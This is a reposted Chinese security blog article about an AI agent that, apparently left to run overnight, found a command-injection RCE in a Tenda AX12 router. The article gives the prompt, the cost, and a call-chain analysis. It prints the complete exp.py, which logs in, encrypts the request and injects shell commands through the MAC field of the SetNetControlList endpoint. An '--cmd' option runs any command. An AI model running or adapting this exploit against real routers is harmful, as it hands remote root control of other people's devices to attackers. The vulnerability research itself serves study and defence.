睡了个觉+花费2元,AI挖出我的第一个IOTRCE漏洞

admin 2026-05-12 05:29:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 作者通过AI工具自动化挖掘TendaAX12路由器的远程代码执行漏洞,全程无需人工干预。AI自主完成固件下载、IDA逆向分析、漏洞验证并生成EXP脚本,成功获取root权限,耗时3小时仅花费2.11元。文章展示了AI在IoT安全研究中的自动化能力,包括漏洞调用链分析和跨进程调试技术。 综合评分: 85 文章分类: IoT安全,AI安全,漏洞分析,红队,实战经验


cover_image

睡了个觉+花费2 元,AI挖出我的第一个 IOT RCE 漏洞

星悦安全

2026年5月11日 16:16 浙江

在小说阅读器读本章

去阅读

编者荐语:

推荐

以下文章来源于fkalis ,作者error

fkalis .

RPA|SRC|红蓝攻防|安全开发|自动化测试|武器化|圈名:fkalis,记录个人的网络安全之路,包括但不限于:免杀,SRC,内网横向,红蓝对抗,安全开发等等。人外有人,天外有天!

断更好久了,今天突然复活一下,粉丝投稿了一个关于AI安全的小案例,感觉还挺有意思…

睡了个觉➕花费2 元,AI挖出我的第一个 IOT RCE 漏洞

起因

最近心血来潮,突然想接触一些关于IOT相关的内容,但是由于之前基本没有怎么接触过,基础有限,最近又刷到各种AI agent,AI CTF相关的内容,于是就想试试能不能让我一个没怎么接触过IOT,使用AI去挖掘到我的第一个IOT相关的漏洞

环境准备

1. AI中转


2.目标准备

我找了一台家里闲置的路由器


漏洞复现

1. Prompt提示词

用 $ctf-sandbox 这个 skill 来完成接下来的 CTF-IOT 挑战。已知http://192.168.111.1/是路由器管理员地址,唯一知道的信息是管理员密码为 88888888,这个路由器为本地测试环境,可以做任何测试。 你需要自己获取到该设备的固件版本(已知型号是 tenda-AX12),并去网上找到相关版本固件,下载到本地并解压。对解压后的文件系统进行审计,所需二进制文件分析,必须使用 IDA 打开并通过 IDA-MCP 进行审计,找到 RCE 漏洞,并在当前本地路由器测试环境验证。所有的分析必须经过实际ida 的代码审计,不允许随意猜测或从网上寻找相关漏洞资料。 验证方式为执行sleep x,根据响应延迟判断漏洞是否存在,如果遇见高置信漏洞,但 sleep 无法测试的话,可以采用执行wget 或者 curl 的方式,请求本机的一个端口,本机检测是否有请求过来。最终给我一个 exp.py 和 wp.md帮我完成这个 CTF 挑战。

因为我先看看如果没有人工进行干预,他到底能做到什么样,所以喂给他这个提示词后,我就去洗漱睡觉了


2. 结果

第二天睡醒, AI 已经给我整理好了一份 exp.py以及一份详细的 wp.md 文档。里面记录了 AI 研究的所有过程,同时 exp.py 运行后直接获取了路由器的 root shell,虽然耗时还是比较久,但是我根本没有去管他,他能自主做到这种地步我已经很满意了,有一种马上要被ai取代的感觉了…

3. 花费

任务是从晚上十点多用 GPT-5.4 模型开始跑的,截止凌晨 1:23 跑完的。每个小时的花费分别为  0.23 0.6 1.01 0.27。总计 2.11元,相当于两元买了一个RCE..


EXP

```
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import time
from urllib.parse import urljoin

import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

IV = b"EU5H62G9ICGRNI43"

class AX12Client:
    def __init__(self, base_url, password, timeout=10):
        self.base_url = base_url.rstrip("/") + "/"
        self.password = password
        self.timeout = timeout
        self.session = requests.Session()
        self.sign = None

    def url(self, path):
        return urljoin(self.base_url, path.lstrip("/"))

    def login(self):
        digest = hashlib.md5(self.password.encode()).hexdigest()
        r = self.session.post(
            self.url("/login/Auth"),
            data={"username": "admin", "password": digest},
            allow_redirects=False,
            timeout=self.timeout,
        )
        if r.status_code not in (200, 302):
            raise RuntimeError(f"login failed: HTTP {r.status_code}")

        r = self.session.get(self.url("/goform/stokCfg"), timeout=self.timeout)
        r.raise_for_status()
        data = r.json()["stokCfg"]
        self.sign = data["sign"].encode()
        return data

    def encrypt(self, body):
        if self.sign is None:
            raise RuntimeError("not logged in")
        cipher = AES.new(self.sign, AES.MODE_CBC, IV)
        return base64.b64encode(cipher.encrypt(pad(body.encode(), AES.block_size))).decode()

    def decrypt_response(self, text):
        try:
            obj = json.loads(text)
        except json.JSONDecodeError:
            return text
        if "data" not in obj:
            return text
        cipher = AES.new(self.sign, AES.MODE_CBC, IV)
        return unpad(cipher.decrypt(base64.b64decode(obj["data"])), AES.block_size).decode()

    def get_form(self, path):
        r = self.session.get(self.url(path), timeout=self.timeout)
        r.raise_for_status()
        return self.decrypt_response(r.text)

    def post_form(self, path, body, timeout=None):
        timeout = self.timeout if timeout is None else timeout
        encrypted = self.encrypt(body)
        start = time.monotonic()
        r = self.session.post(self.url(path), data=encrypted, timeout=timeout)
        elapsed = time.monotonic() - start
        r.raise_for_status()
        return elapsed, self.decrypt_response(r.text)

def detect_version(client):
    data = json.loads(client.get_form("/goform/GetSystemStatus"))
    return data.get("adv_firm_ver"), data.get("adv_hard_ver")

def build_netcontrol_body(cmd=None, dev_name="dev", limit_up=128, limit_down=128):
    mac = "00:11:22:33:44:55"
    if cmd:
        mac = f"0;{cmd};#aa"
    return f"list={dev_name}\r{mac}\r{int(limit_up)}\r{int(limit_down)}"

def post_netcontrol(client, body, timeout=20):
    start = time.monotonic()
    try:
        elapsed, resp = client.post_form("/goform/SetNetControlList", body, timeout=timeout)
        print(f"[*] SetNetControlList response: {elapsed:.2f}s {resp}")
        return elapsed, resp, False
    except requests.exceptions.ReadTimeout:
        elapsed = time.monotonic() - start
        print(f"[!] SetNetControlList timed out after {elapsed:.2f}s; command may still have executed")
        return elapsed, None, True

def exploit_sleep(client, seconds):
    body = build_netcontrol_body(cmd=f"sleep {int(seconds)}")
    elapsed, _, _ = post_netcontrol(client, body, timeout=max(15, seconds + 10))
    if elapsed >= max(1, seconds - 0.75):
        print(f"[+] RCE verified by delay: expected ~{seconds}s, observed {elapsed:.2f}s")
        return True
    print(f"[-] no convincing delay: expected ~{seconds}s, observed {elapsed:.2f}s")
    return False

def exploit_cmd(client, cmd, timeout=20):
    body = build_netcontrol_body(cmd=cmd)
    elapsed, resp, timed_out = post_netcontrol(client, body, timeout=timeout)
    if timed_out:
        print("[+] payload sent; HTTP timed out, please verify by side effect")
    else:
        print(f"[+] payload sent in {elapsed:.2f}s, response: {resp}")

def main():
    parser = argparse.ArgumentParser(description="Tenda AX12 authenticated RCE verifier for SetNetControlList command injection")
    parser.add_argument("-u", "--url", default="http://192.168.111.1/", help="router base URL")
    parser.add_argument("-p", "--password", default="88888888", help="admin password")
    parser.add_argument("--sleep", type=int, default=5, help="sleep seconds for timing verification")
    parser.add_argument("--cmd", help="run an arbitrary shell command through SetNetControlList")
    parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout for the exploit request")
    args = parser.parse_args()

    client = AX12Client(args.url, args.password)
    stok = client.login()
    print(f"[*] logged in, stok={stok.get('stok')} sign={stok.get('sign')}")

    version, hardware = detect_version(client)
    print(f"[*] device firmware={version} hardware={hardware}")

    if args.cmd:
        exploit_cmd(client, args.cmd, timeout=args.timeout)
    else:
        ok = exploit_sleep(client, args.sleep)
        raise SystemExit(0 if ok else 1)

if __name__ == "__main__":
    main()
![](https://mmbiz.qpic.cn/sz_mmbiz_png/De3yb4u5JSomVnaoEYmNEez69cUWQ2yB6HGf4icp9icCRZtkDUdxxaJhMlrExefKDpDmiayFNSbRsglMz1xenpMtvaYcw4x3CGLnI7CP78icmMo/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=4)

---

## 分析报告

> 后面根据AI生成的报告,我也去进行了相关的跟踪和研究,这里列一下 AI 分析的关键调用链,这个漏洞的调用链其实还是稍微长一些的,并且需要跨进程分析。

首先在 `httpd` 中定位接口注册点,在 `httpd::sub_41DE60` 中注册了 `sub_40A144("SetNetControlList", sub_43FDCC);`。

![](https://mmbiz.qpic.cn/sz_mmbiz_png/De3yb4u5JSorsUOpXWxoBOFXwicfg3RmQsYca4ec7EsibTX63qTiciawNTVXiabcAQ3wW2xBxg3Sias5TPwqbOfA5ibULRH4Oaz2eOkj7mTCbG3icqc/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=5)

继续跟进 `sub_43FDCC`。从伪代码可以直接看到,接口从请求中直接读取参数 `list`;真实危险路径不是同步执行,而是 `fork()` 之后由子进程调用 `set_tc_rule()`。也就是说,这个洞的后半段天然是异步的,所以不能只靠 HTTP 响应时间判断漏洞是否存在。

![](https://mmbiz.qpic.cn/mmbiz_png/De3yb4u5JSqw8M8JG32EcVOkxepPlE6UBSIv6Y9EfQ2Efdf9V40PlJW32SPKWTmwA62sNz6NorydqwfwYEZ6SVgz2oDf0YZWKnOtUYjH2ic8/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=6)

接下来跟进 `sub_43FBBC`,确认 `list` 的真实格式。图中红框对应的核心逻辑是:`sscanf(v14, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v15, v13, v12, v11);` 这意味着 `list` 的一条记录会被按以下顺序解析:`dev_name \r mac \r limit_up \r limit_down`。也就是:设备名 `dev_name`、MAC 字段 `mac`、上行速率 `limit_up`、下行速率 `limit_down`。

![](https://mmbiz.qpic.cn/sz_mmbiz_png/De3yb4u5JSq8p2kWVasNH6UYrmB4SUpxhFjV5lXov49lcVwRIicibNy9rXTCWpw4XriaqydeE5PKYZRb4ohBW65l4YpshClUuA1QK4J8DIJ4sc/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=7)

继续看 `sub_43F8DC`,`a2` 就是上一层解析出来的 mac,它会被直接写入 `qos.@device_rule[%d].mac`,写完后立刻 `CfgCommit("qos")`。这说明攻击者输入不是临时内存变量,而是被持久化进了设备配置。这一层的数据流已经很明确:
HTTP list -> parsed mac -> qos.@device_rule[*].mac
![](https://mmbiz.qpic.cn/mmbiz_png/De3yb4u5JSphTeIS2rv2FhibEr6aCjdeqL9FfqtyGOhJib7viapUnwungZRGNc69BzYAnq8y8mSlhdy8nrAibBhNxzvjqHofib6I5aWRoKT8raTk/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=8)

接下来进入 `libtd_server.so`,跟踪 `set_tc_rule()`。可以看到:
qos_rule_config = get_qos_rule_config((int)v13);

“`

这一步说明前面落地到 UCI 的 qos 配置,后面会被 set_tc_rule() 从配置文件重新读回内存。也就是说,攻击者对 qos.@device_rule[*].mac 的污染,不会停留在配置层,而会继续向命令执行层流动。

下图能推导出三件事:

  1. get_qos_rule_config() 把每条 device_rule 读入缓冲区 v13
  2. 每条记录步长固定是 48 字节
  3. add_tc_traffic_control() 收到的第二个参数 a2 就是当前记录起始地址

继续跟进 add_tc_traffic_control() 本身,结合上一层调用已经可以确认:

  • a2 = mac
  • a3 = limit_up
  • a4 = limit_down

这一步把“可控字段”和“危险函数参数”正式对上了。

最关键的证据在下面这张图。这是最终的决定性证据:

  • a2 被直接以 %s 形式拼进 shell 命令
  • 这里没有任何 shell escaping
  • 也没有对 mac 做格式校验
  • 最后经 doSystemCmd() 直接执行

也就是说,只要 a2 中出现 ;# 这类 shell 元字符,就能打断原有命令并执行攻击者自己的命令。

至此,漏洞链闭环。

结语

大家如果感兴趣可以去多尝试一下,现在的大模型能力我觉得已经能支撑很大一部分的工作,不必因为ai而焦虑,拥抱安全,拥抱ai,如果大家对AI挖洞有兴趣的话,后面还可以继续更新相关系列的文章,如果大家有好的AI安全的思路和想法,欢迎大家交流!!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星悦安全 《睡了个觉+花费2 元,AI挖出我的第一个 IOT RCE 漏洞》

评论:0   参与:  0